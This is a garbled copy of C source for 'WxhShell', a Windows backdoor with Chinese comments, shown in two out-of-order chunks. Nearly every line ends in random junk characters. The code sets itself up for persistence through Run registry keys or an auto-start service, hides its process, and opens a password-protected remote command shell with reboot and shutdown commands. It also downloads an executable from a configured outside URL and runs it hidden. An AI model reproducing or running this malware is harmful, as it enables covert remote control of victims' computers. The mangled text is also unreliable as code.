ULONG UniqueProcessId; P$18Xno{
ULONG InheritedFromUniqueProcessId; 3`k[!!
} PROCESS_BASIC_INFORMATION; W 9Vz[
*el(+ib%
PROCNTQSIP NtQueryInformationProcess; yYToiW *
n<?SZ^X{,/
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R+E_#lP_$
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DVl[t8K!
3gG+`{<
HANDLE hProcess; "65||[=8
PROCESS_BASIC_INFORMATION pbi; *:9 >W$0u
H5Ux.]y
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .vN%UNu
if(NULL == hInst ) return 0; 2K]IlsMO&
>AQ)x
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (@ fa~?v>@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @1v3-n=
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kz0I2!bt
i)7n c
if (!NtQueryInformationProcess) return 0; o)tKH@`vE
,$h(fM8GC
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =!(*5\IM
if(!hProcess) return 0; X_u@D;$
;h9-}F
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r+{d!CHq}
4L=$K2R2r
CloseHandle(hProcess); Dc.n-ipv$
u3Usq=Ij{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QSHJmk 6L
if(hProcess==NULL) return 0; m!5HRjOO
4[TS4p
HMODULE hMod; |Bx||=z`
char procName[255]; eQU-&-wt0
unsigned long cbNeeded; .!yWF?T8
1mHwYT+
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
ofMu3$Q
ZD5I5
CloseHandle(hProcess); uw Kh
7~wFU*P1
if(strstr(procName,"services")) return 1; // 以服务启动 5zNSEI"PY
5^i.;>(b
return 0; // 注册表启动 ,<@,gZru
} ]<27Sw&yaG
nW|'l^&
// 主模块 |} K
int StartWxhshell(LPSTR lpCmdLine) E?Zb~xk
{ +65oC x
SOCKET wsl; %cH8;5U40
BOOL val=TRUE; |XKOXa3.
int port=0; 7_9+=.
+X5
struct sockaddr_in door; Hp btj
R=-+YBw7/
if(wscfg.ws_autoins) Install(); *8$>Whr
X"h%tsuw
port=atoi(lpCmdLine); -7>^
rR V
`"a? a5]k
if(port<=0) port=wscfg.ws_port; Mv.Ciyc
=X%!YZk p
WSADATA data; 2E$^_YT
C
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EXA^!/)
2E^"r jLm
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )]%e
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (VgNb&Yo9
door.sin_family = AF_INET; 7:n?PN(p6a
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7\IL
door.sin_port = htons(port); j~Q}F |i8
A LXUaE.
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q |
closesocket(wsl); ,{k<JA{
return 1; 8y$5oD6g9
} m</]D WJ
}>2t&+v+
if(listen(wsl,2) == INVALID_SOCKET) { gaQ[3g
closesocket(wsl); NW
z9C=y
return 1; Da-u-_~
} jm+ V$YBP
Wxhshell(wsl); A9
U5,mOz
WSACleanup(); 9%sFJ
d9O:,DKf
return 0; cZqfz
*kP;{Cb`
} Pp,Um(
"tqnx?pM
// 以NT服务方式启动 HmvsYP66
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hM?`x(P
{ Hi^35
DWORD status = 0; *oCxof9JA
DWORD specificError = 0xfffffff; _B)s=Snx
>K\3*]>J3
serviceStatus.dwServiceType = SERVICE_WIN32; o&~dGG4J
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;; :">@5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )X/*($SuA
serviceStatus.dwWin32ExitCode = 0; vX ?aB!nkw
serviceStatus.dwServiceSpecificExitCode = 0; _=pWG^a
serviceStatus.dwCheckPoint = 0; KyT uF
serviceStatus.dwWaitHint = 0; iHPUmTus--
wfE^Sb3
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~p:?QB>1]
if (hServiceStatusHandle==0) return; 6
jmrD
yq?]V7~
status = GetLastError(); kd yAl,
if (status!=NO_ERROR) Tr~sieL
{ rWA6XDM7
serviceStatus.dwCurrentState = SERVICE_STOPPED; `M:DZNy,
serviceStatus.dwCheckPoint = 0; 42&v% ;R
serviceStatus.dwWaitHint = 0; ML=eL*}l
serviceStatus.dwWin32ExitCode = status; zX98c
serviceStatus.dwServiceSpecificExitCode = specificError; `?l3Ct*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yO00I`5
return; "?35C
!
} F%
`zs\
E, GN| l
serviceStatus.dwCurrentState = SERVICE_RUNNING; oB
p3JX9_f
serviceStatus.dwCheckPoint = 0; ["u#{>(X
serviceStatus.dwWaitHint = 0; 58: :h.:
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SAR=
{/
} J96uyS*
:_v!#H)
// 处理NT服务事件,比如:启动、停止 Q^L)
Vp"
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3f"C!l]Xu
{ +
~"5!
switch(fdwControl) \/ErPi=g
{ jXixVNw
case SERVICE_CONTROL_STOP: e?b)p5g
serviceStatus.dwWin32ExitCode = 0; 5Q W}nRCZ
serviceStatus.dwCurrentState = SERVICE_STOPPED; ZWS2q4/S
serviceStatus.dwCheckPoint = 0; t8P PE
serviceStatus.dwWaitHint = 0; _g~2R#2Q
{ kO1}?dWpa
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )n>+m|IqY(
} YlTaN,?j
return; c;9.KCpwx
case SERVICE_CONTROL_PAUSE: ,[* ;UR
serviceStatus.dwCurrentState = SERVICE_PAUSED; *$S#o#5
break; ^ *0'\/N&
case SERVICE_CONTROL_CONTINUE: <`)iA-Df;9
serviceStatus.dwCurrentState = SERVICE_RUNNING; L_Q S0_1
break; (!3;X"l
case SERVICE_CONTROL_INTERROGATE: BgM%+b8u
break; -}P7$|O&
}; ]W/>Ldv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9gy(IRGq/
} zyFUl%
L0L2Ns
// 标准应用程序主函数 M/pMs 6
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0mTr-`s
{ eklgLU-+fW
]n;1x1'
// 获取操作系统版本 &l m#
OsIsNt=GetOsVer(); )"|||\Iv
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2o4^
2}vNSQvG
// 从命令行安装 d$G}iJ8$mp
if(strpbrk(lpCmdLine,"iI")) Install(); 1y(UgEg
\F{:5,Du)
// 下载执行文件 Z+4D.bA
if(wscfg.ws_downexe) { T7[NcZ:I
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WF[bO7:
WinExec(wscfg.ws_filenam,SW_HIDE); F'FP0t!S
} 4t*so~
2: SO_O4C
if(!OsIsNt) { v+xB7w
// 如果时win9x,隐藏进程并且设置为注册表启动 '#.#$8l
HideProc(); Ls}7VKl'
StartWxhshell(lpCmdLine); qtMD CXZ^n
} PyBD
else .UQE{.?
if(StartFromService()) i{Ds&{
// 以服务方式启动 UE.4qY_7
StartServiceCtrlDispatcher(DispatchTable); |gx~gG<
else $!B}$I;cd
// 普通方式启动 ;j9\b9m
StartWxhshell(lpCmdLine); w!&~??&=}
x#*QfE/E(@
return 0; iOCqE 5d3
} ]PR#W_&q
%%JMb=!%2
R#W&ery
~b)74M/
=========================================== Zsx3/}
$n!K6fkX%
=a}b+(R
"N5!mpD"
[0y$! f4
E\U`2{^.
" 2oCkG~j
_zMgoc7
#include <stdio.h> 2VGg 6%
#include <string.h> U*)m',
#include <windows.h> oD.r`]k
#include <winsock2.h> `$TRleSi
#include <winsvc.h> CU)|-*uiK
#include <urlmon.h> 3\:y8|
'hqBo|
#pragma comment (lib, "Ws2_32.lib") ,xfO;yd
#pragma comment (lib, "urlmon.lib") B*3Y!!
!mMpb/&&S
#define MAX_USER 100 // 最大客户端连接数 bB}5U@G|
#define BUF_SOCK 200 // sock buffer X3%Ic`Lq#
#define KEY_BUFF 255 // 输入 buffer Ul+Mo&y-
6"f}O<M5H
#define REBOOT 0 // 重启 5d\q-d
#define SHUTDOWN 1 // 关机 !?!C'-ps
5ZY<JA3
#define DEF_PORT 5000 // 监听端口 ye}p~&
>e,mg8u6$
#define REG_LEN 16 // 注册表键长度 $I9qgDJ)
#define SVC_LEN 80 // NT服务名长度 .6f%?oo
iyta;dw9
// 从dll定义API >>{FzR
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DA&?e~L&H
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Np+&t}
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RQB
4s^t
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 36.N>G,
"vZ!vt#'Y
// wxhshell配置信息 Qnd5X`jF#
struct WSCFG { RsJ6OFcWV
int ws_port; // 监听端口 'T<iHV&
char ws_passstr[REG_LEN]; // 口令 ^Yj xeNY
int ws_autoins; // 安装标记, 1=yes 0=no Bun><Y
@
char ws_regname[REG_LEN]; // 注册表键名 5L,}e<S$
char ws_svcname[REG_LEN]; // 服务名 sarq`%zrk
char ws_svcdisp[SVC_LEN]; // 服务显示名 ',^+bgs5
char ws_svcdesc[SVC_LEN]; // 服务描述信息 \</b4iR)LT
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -Go 7"j
int ws_downexe; // 下载执行标记, 1=yes 0=no r.ZF_^y}+
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jhbonuV_
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )lk&z8;.=
svf|\p>]H
}; jz58E}
Y5ZZ3Ati
// default Wxhshell configuration M-V&X&?j
struct WSCFG wscfg={DEF_PORT, F#
T 07<
"xuhuanlingzhe", 9d[5{"2j
1, D,qu-k[jMI
"Wxhshell", v[e:qi&fG
"Wxhshell", RPd}Wf
"WxhShell Service", Z[__"^}
"Wrsky Windows CmdShell Service", 91>fqe
"Please Input Your Password: ", U-/{0zB
1, o]:3H8
"http://www.wrsky.com/wxhshell.exe", Ig]iT
"Wxhshell.exe" kVK/9dy-F
}; OCZaQ33
s, k
// 消息定义模块 LJk%#yV|_
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &F STpBu
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;2'q_Btk4
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Urr#N
char *msg_ws_ext="\n\rExit."; 4SPy28<f
char *msg_ws_end="\n\rQuit."; h.O$]:N
char *msg_ws_boot="\n\rReboot..."; =0uAE7q(9
char *msg_ws_poff="\n\rShutdown..."; !$N<ds.
char *msg_ws_down="\n\rSave to "; EnOU?D
ib{-A&
char *msg_ws_err="\n\rErr!"; N_:qRpp6i
char *msg_ws_ok="\n\rOK!"; _=CZR7:O
EBz}|GY;
char ExeFile[MAX_PATH]; [(1c<b2r
int nUser = 0; 9z)5Mdf1j
HANDLE handles[MAX_USER]; w?kJ+lmOQy
int OsIsNt; dT,o=8fg
sBrI}[oyx
SERVICE_STATUS serviceStatus; {ZY+L;eg1
SERVICE_STATUS_HANDLE hServiceStatusHandle; P) 3mX.(}
U- )i+}Ng
// 函数声明 J{^RkGF
int Install(void); E4m`
int Uninstall(void); ,|&9M^
int DownloadFile(char *sURL, SOCKET wsh); (=~&+z
int Boot(int flag); K2%w0ohC
void HideProc(void); ,^#yo6-
int GetOsVer(void); KM^ufF2[
int Wxhshell(SOCKET wsl); #9K-7je;j
void TalkWithClient(void *cs); ME'|saP
int CmdShell(SOCKET sock); _6ay-u
int StartFromService(void); RV@*c4KvO+
int StartWxhshell(LPSTR lpCmdLine); 6 G=j6gK%P
M1KqY: 9E
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -D6exTxh"
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vWGwVH/K
4:g R r
// 数据结构和表定义 }.s~T#v
SERVICE_TABLE_ENTRY DispatchTable[] = M|:UwqV>
{ gz3pX#S
{wscfg.ws_svcname, NTServiceMain}, {nLjY|*
{NULL, NULL} Qxj JN^Q
}; ,}K<*t[I
[jmd
// 自我安装 !.d@L6
int Install(void) 9k{PBAP
{ b0oMs=uBn
char svExeFile[MAX_PATH]; -[-wkC8a
HKEY key; B(M6@1m_
strcpy(svExeFile,ExeFile); ..rOsg{
"~'b
// 如果是win9x系统,修改注册表设为自启动 g) -bW+]q
if(!OsIsNt) { Yk=PS[f
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BCA&mi3q
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R?]02Q
RegCloseKey(key); `]%|f
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i>(e}<i
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wiiCd
RegCloseKey(key); eH{[C*
return 0; 8YbE`32
} AvW:<}a,
} c"[cNZo
} :Y [LN
else { <i,U )Tt^C
)==Jfn y
// 如果是NT以上系统,安装为系统服务 #'y#"cmQ.
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [UH||qW
if (schSCManager!=0) NX}<*b/
{ R6(oZph
SC_HANDLE schService = CreateService I1X-s
( EKO[ !,
schSCManager, AB4(+S*LA
wscfg.ws_svcname, :8OZ#D_Hl
wscfg.ws_svcdisp, D|{jR~J)xK
SERVICE_ALL_ACCESS, HPZ}*m'
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ftr5k^!
SERVICE_AUTO_START, ')$+G152
SERVICE_ERROR_NORMAL, V;v8=1t!
svExeFile, ml+; Rmvb
NULL, %
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NULL, a24"yT
NULL, sfNE68I2
NULL, !4X
f~P
NULL I"ok&^t^}
); f.9SB
if (schService!=0) R#I0|;q4|p
{ 1]p ZrBh"E
CloseServiceHandle(schService); :>C2gS@
CloseServiceHandle(schSCManager); 0.@&_XTPl
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NGbG4-w-
strcat(svExeFile,wscfg.ws_svcname); H5Io{B%=
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y2^Y/)
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jWrj?DV,2N
RegCloseKey(key); ye,>A.
return 0; +8Rg F
} p"KFJ
} T:=lz:}I
CloseServiceHandle(schSCManager); fSokm4]vg
} =Lf,?"S
} XzEc2)0'v
s*-n^o-
return 1; TIQkW,
} H<PtAYFS
tg<EY!WY
// 自我卸载 vbyH<LPz5
int Uninstall(void) lIW
}EM
{ bAx-"Lu
HKEY key; =ACVE;L?
24z< gO
if(!OsIsNt) { &tg&5_
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FG.em
RegDeleteValue(key,wscfg.ws_regname); F9,DrB,B{
RegCloseKey(key); ,Y/ g2
4R
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +lHjC$
RegDeleteValue(key,wscfg.ws_regname); t%E!o0+8Z
RegCloseKey(key); sTn<#l6
return 0; J4fi'
} ,[P{HrHx
} hpO`]
} [PNT\ElT
else { ~f$|HP}
SAy=WV
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AP'*Nh@Ik(
if (schSCManager!=0) I|^;B8[
{ B><d9d
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iKX-myCz
if (schService!=0) wk5s)%V
{ ^hZ0IM
if(DeleteService(schService)!=0) { )b)-ZS7
CloseServiceHandle(schService); xc=b
|:A
CloseServiceHandle(schSCManager); n>BkTaI
return 0; MkfBuW;)
} U:^PC
x`
CloseServiceHandle(schService); Vex{.Vh,"
} Cv6'`",Yzm
CloseServiceHandle(schSCManager); _V7s#_p
} 21K>`d\
} )48QBz?
1_PoqD!q
return 1; &,{fw@#)_
} M
l Jo`d
fF7bBE)L/|
// 从指定url下载文件 `d5%.N
int DownloadFile(char *sURL, SOCKET wsh) *U&0<{|T
{ "_-Po^u=r
HRESULT hr; Azl&m